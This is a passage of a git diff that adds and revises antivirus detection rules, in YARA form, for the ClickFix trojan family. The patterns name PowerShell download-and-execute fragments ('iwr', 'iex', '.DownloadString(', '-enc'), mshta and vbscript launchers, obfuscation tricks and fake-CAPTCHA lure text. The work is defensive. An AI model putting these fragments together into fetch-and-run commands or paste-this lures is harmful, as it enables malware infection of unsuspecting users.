00 6c 00 69 00 76 00 65 00 2f 00 } //100 .live/ + $a_00_8 = {2e 00 6c 00 69 00 66 00 65 00 2f 00 } //100 .life/ + $a_00_9 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 } //100 .online/ + $a_00_10 = {2e 00 62 00 6f 00 6e 00 64 00 2f 00 } //100 .bond/ + $a_00_11 = {2e 00 74 00 6f 00 70 00 2f 00 } //100 .top/ + $a_00_12 = {2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 } //100 .world/ + $a_00_13 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 } //100 .click/ + $a_00_14 = {2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 2f 00 } //100 .forest/ + $a_00_15 = {2e 00 72 00 75 00 6e 00 2f 00 } //100 .run/ + $a_00_16 = {2e 00 77 00 61 00 73 00 2f 00 } //100 .was/ + $a_00_17 = {2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //100 .today/ + $a_00_18 = {2e 00 63 00 79 00 6f 00 75 00 2f 00 } //100 .cyou/ + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAD_MTB.yar new file mode 100644 index 0000000000..ecab3fed64 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAD_MTB.yar @@ -0,0 +1,30 @@ + +rule Trojan_Win32_ClickFix_DAD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 14 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta + $a_00_1 = {2e 00 73 00 68 00 6f 00 70 00 } //100 .shop + $a_00_2 = {2e 00 78 00 79 00 7a 00 } //100 .xyz + $a_00_3 = {2e 00 69 00 63 00 75 00 } //100 .icu + $a_00_4 = {2e 00 6c 00 61 00 74 00 } //100 .lat + $a_00_5 = {2e 00 66 00 75 00 6e 00 } //100 .fun + $a_00_6 = {2e 00 62 00 65 00 74 00 } //100 .bet + $a_00_7 = {2e 00 6c 00 69 00 76 00 65 00 } //100 .live + $a_00_8 = {2e 00 6c 00 69 00 66 00 65 00 } //100 .life + $a_00_9 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 } //100 .online + $a_00_10 = {2e 00 62 00 6f 00 6e 00 64 00 } //100 .bond + $a_00_11 = {2e 00 74 00 6f 00 70 00 } //100 .top + $a_00_12 = {2e 00 77 00 6f 00 72 00 6c 00 64 00 } //100 .world + $a_00_13 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 } //100 .click + $a_00_14 = {2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 } //100 .forest + $a_00_15 = {2e 00 72 00 75 00 6e 00 } //100 .run + $a_00_16 = {2e 00 77 00 61 00 73 00 } //100 .was + $a_00_17 = {2e 00 74 00 6f 00 64 00 61 00 79 00 } //100 .today + $a_00_18 = {2e 00 63 00 79 00 6f 00 75 00 } //100 .cyou + $a_00_19 = {2d 00 2d 00 70 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 3d 00 61 00 70 00 70 00 2e 00 6d 00 75 00 6c 00 65 00 41 00 70 00 69 00 2e 00 70 00 6f 00 72 00 74 00 3a 00 38 00 30 00 38 00 31 00 } //-200 --property=app.muleApi.port:8081 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100+(#a_00_19 & 1)*-200) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAF_MTB.yar index 635686b0bc..0dd3783f53 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAF_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAF_MTB.yar @@ -1,19 +1,18 @@ rule Trojan_Win32_ClickFix_DAF_MTB{ meta: - description = "Trojan:Win32/ClickFix.DAF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff8d 00 ffffff8d 00 09 00 00 " + description = "Trojan:Win32/ClickFix.DAF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 08 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http - $a_00_2 = {76 00 65 00 72 00 69 00 66 00 } //10 verif - $a_00_3 = {69 00 65 00 78 00 } //10 iex - $a_00_4 = {69 00 77 00 72 00 } //10 iwr - $a_00_5 = {49 00 20 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 20 00 74 00 68 00 61 00 74 00 20 00 49 00 20 00 61 00 6d 00 20 00 68 00 75 00 6d 00 61 00 6e 00 20 00 72 00 65 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 I confirm that I am human reCAPTCHA - $a_00_6 = {50 00 61 00 73 00 74 00 65 00 20 00 69 00 74 00 20 00 46 00 6f 00 72 00 20 00 50 00 61 00 73 00 73 00 69 00 6e 00 67 00 } //1 Paste it For Passing - $a_00_7 = {49 00 20 00 61 00 6d 00 20 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 7c 00 20 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 I am not a robot | Captcha - $a_00_8 = {49 00 20 00 61 00 6d 00 20 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 56 00 } //1 I am not a robot - V + $a_00_2 = {69 00 65 00 78 00 } //10 iex + $a_00_3 = {69 00 77 00 72 00 } //10 iwr + $a_00_4 = {49 00 20 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 20 00 74 00 68 00 61 00 74 00 20 00 49 00 20 00 61 00 6d 00 20 00 68 00 75 00 6d 00 61 00 6e 00 20 00 72 00 65 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 I confirm that I am human reCAPTCHA + $a_00_5 = {50 00 61 00 73 00 74 00 65 00 20 00 69 00 74 00 20 00 46 00 6f 00 72 00 20 00 50 00 61 00 73 00 73 00 69 00 6e 00 67 00 } //1 Paste it For Passing + $a_00_6 = {49 00 20 00 61 00 6d 00 20 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 7c 00 20 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 I am not a robot | Captcha + $a_00_7 = {49 00 20 00 61 00 6d 00 20 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 56 00 } //1 I am not a robot - V condition: - ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=141 + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=131 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAI_MTB.yar new file mode 100644 index 0000000000..114293c7a4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAI_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DAI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,36 00 36 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //50 powershell + $a_00_1 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 -UseBasicParsing).Content + $a_00_2 = {69 00 65 00 78 00 } //1 iex + $a_00_3 = {69 00 77 00 72 00 20 00 24 00 } //1 iwr $ + $a_00_4 = {76 00 65 00 72 00 69 00 66 00 } //1 verif + condition: + ((#a_00_0 & 1)*50+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=54 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAK_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAK_MTB.yar deleted file mode 100644 index e83212d564..0000000000 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAK_MTB.yar +++ /dev/null @@ -1,19 +0,0 @@ - -rule Trojan_Win32_ClickFix_DAK_MTB{ - meta: - description = "Trojan:Win32/ClickFix.DAK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,74 00 74 00 09 00 00 " - - strings : - $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell - $a_02_1 = {73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 [0-0f] 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 } //10 - $a_00_2 = {2d 00 6f 00 75 00 74 00 66 00 69 00 6c 00 65 00 } //5 -outfile - $a_00_3 = {69 00 65 00 78 00 } //1 iex - $a_00_4 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 invoke-expression - $a_00_5 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 invoke-webrequest - $a_00_6 = {69 00 77 00 72 00 } //1 iwr - $a_00_7 = {69 00 72 00 6d 00 } //1 irm - $a_00_8 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 } //1 invoke-restmethod - condition: - ((#a_00_0 & 1)*100+(#a_02_1 & 1)*10+(#a_00_2 & 1)*5+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=116 - -} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAO_MTB.yar new file mode 100644 index 0000000000..97de41a04f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAO_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DAO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,12 00 12 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //5 -UseBasicParsing).Content + $a_00_2 = {69 00 65 00 78 00 } //1 iex + $a_00_3 = {69 00 77 00 72 00 } //1 iwr + $a_00_4 = {24 00 5f 00 20 00 2d 00 62 00 78 00 6f 00 72 00 } //1 $_ -bxor + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*5+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=18 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAR_MTB.yar new file mode 100644 index 0000000000..2a7b962436 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DAR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //100 mshta + $a_00_1 = {43 00 49 00 6f 00 75 00 64 00 66 00 49 00 61 00 72 00 65 00 20 00 55 00 6e 00 69 00 71 00 75 00 65 00 20 00 4f 00 6e 00 65 00 2d 00 74 00 69 00 6d 00 65 00 } //1 CIoudfIare Unique One-time + $a_00_2 = {55 00 73 00 65 00 72 00 20 00 52 00 65 00 66 00 3a 00 20 00 41 00 6c 00 70 00 68 00 61 00 } //1 User Ref: Alpha + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAS_MTB.yar new file mode 100644 index 0000000000..cb4c851bb2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAS_MTB.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_ClickFix_DAS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 10 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //100 mshta + $a_00_1 = {20 00 49 00 09 20 } //1 + $a_00_2 = {09 20 49 00 09 20 } //1 + $a_00_3 = {09 20 49 00 20 00 } //1 + $a_00_4 = {20 00 99 03 20 00 } //1 + $a_00_5 = {09 20 99 03 09 20 } //1 + $a_00_6 = {20 00 99 03 09 20 } //1 + $a_00_7 = {20 00 72 00 3e 04 } //1 rо + $a_00_8 = {20 00 7e 02 80 05 } //1 + $a_00_9 = {20 00 52 00 bf 03 } //1 + $a_00_10 = {02 00 43 00 91 03 } //1 + $a_00_11 = {02 00 21 04 91 03 } //1 + $a_00_12 = {02 00 21 04 41 00 } //1 + $a_00_13 = {09 20 43 00 91 03 } //1 + $a_00_14 = {09 20 21 04 91 03 } //1 + $a_00_15 = {09 20 21 04 41 00 } //1 + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAT_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAT_MTB.yar new file mode 100644 index 0000000000..6d6a2bad42 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAT_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DAT_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffca 00 ffffffca 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {20 00 23 00 20 00 } //100 # + $a_00_2 = {69 00 77 00 72 00 } //1 iwr + $a_00_3 = {7c 00 69 00 65 00 78 00 } //1 |iex + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=202 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAU_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAU_MTB.yar new file mode 100644 index 0000000000..2164e10510 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAU_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DAU_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAU!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,12 00 12 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 -UseBasicParsing).Content + $a_00_2 = {69 00 65 00 78 00 } //1 iex + $a_00_3 = {69 00 77 00 72 00 } //1 iwr + $a_02_4 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-09] 2e 00 [0-09] 2e 00 [0-09] 2e 00 [0-09] 3a 00 [0-09] 2f 00 } //5 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*5) >=18 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAW_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAW_MTB.yar new file mode 100644 index 0000000000..5bb44fcae5 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAW_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DAW_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAW!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 24 00 } //100 powershell $ + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 24 00 } //100 powershell -Command $ + $a_00_2 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //10 -UseBasicParsing + $a_00_3 = {2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //10 .Content + $a_00_4 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 Invoke-WebRequest + $a_00_5 = {69 00 77 00 72 00 } //1 iwr + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAX_MTB.yar new file mode 100644 index 0000000000..7ead70e005 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DAX_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,7d 00 7d 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_02_1 = {73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 [0-02] 24 00 } //10 + $a_00_2 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 } //10 =$env:temp + $a_00_3 = {2d 00 6f 00 75 00 74 00 66 00 69 00 6c 00 65 00 } //5 -outfile + condition: + ((#a_00_0 & 1)*100+(#a_02_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*5) >=125 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAY_MTB.yar new file mode 100644 index 0000000000..61dfa0f016 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAY_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DAY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0e 00 0e 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {2d 00 65 00 6e 00 63 00 } //1 -enc + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 .DownloadString( + $a_00_3 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 New-Object Net.WebClient + $a_00_4 = {7c 00 69 00 65 00 78 00 } //1 |iex + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAZ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAZ_MTB.yar new file mode 100644 index 0000000000..55468a8de3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAZ_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_ClickFix_DAZ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffab 00 ffffffab 00 08 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //100 mshta + $a_00_1 = {67 00 63 00 6c 00 69 00 64 00 3d 00 } //50 gclid= + $a_00_2 = {2e 00 77 00 61 00 76 00 3f 00 } //20 .wav? + $a_00_3 = {2e 00 6f 00 70 00 75 00 73 00 3f 00 } //20 .opus? + $a_00_4 = {2e 00 73 00 68 00 6f 00 70 00 2f 00 } //1 .shop/ + $a_00_5 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 } //1 .online/ + $a_00_6 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_7 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*20+(#a_00_3 & 1)*20+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*-1000+(#a_00_7 & 1)*-1000) >=171 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBB_MTB.yar new file mode 100644 index 0000000000..098484fe0d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DBB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //100 mshta + $a_00_1 = {76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 } //10 vbscript: + $a_00_2 = {43 00 72 00 65 00 61 00 74 00 65 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 } //10 CreateObject( + $a_00_3 = {77 00 49 00 6e 00 64 00 4f 00 77 00 2e 00 63 00 4c 00 6f 00 53 00 65 00 } //10 wIndOw.cLoSe + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBC_MTB.yar new file mode 100644 index 0000000000..531772d38c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DBC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + $a_00_2 = {69 00 72 00 73 00 2e 00 67 00 6f 00 76 00 2d 00 } //10 irs.gov- + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*10) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBD_MTB.yar new file mode 100644 index 0000000000..a0f5b1f606 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_DBD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_02_1 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 3a 00 [0-0a] 2f 00 } //5 + condition: + ((#a_00_0 & 1)*10+(#a_02_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBL_MTB.yar new file mode 100644 index 0000000000..2d2fb2b35e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBL_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DBL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //10 -UseBasicParsing + $a_00_2 = {5b 00 53 00 63 00 52 00 69 00 50 00 74 00 42 00 6c 00 4f 00 63 00 4b 00 5d 00 3a 00 3a 00 43 00 72 00 45 00 61 00 54 00 65 00 28 00 24 00 } //10 [ScRiPtBlOcK]::CrEaTe($ + $a_00_3 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_4 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 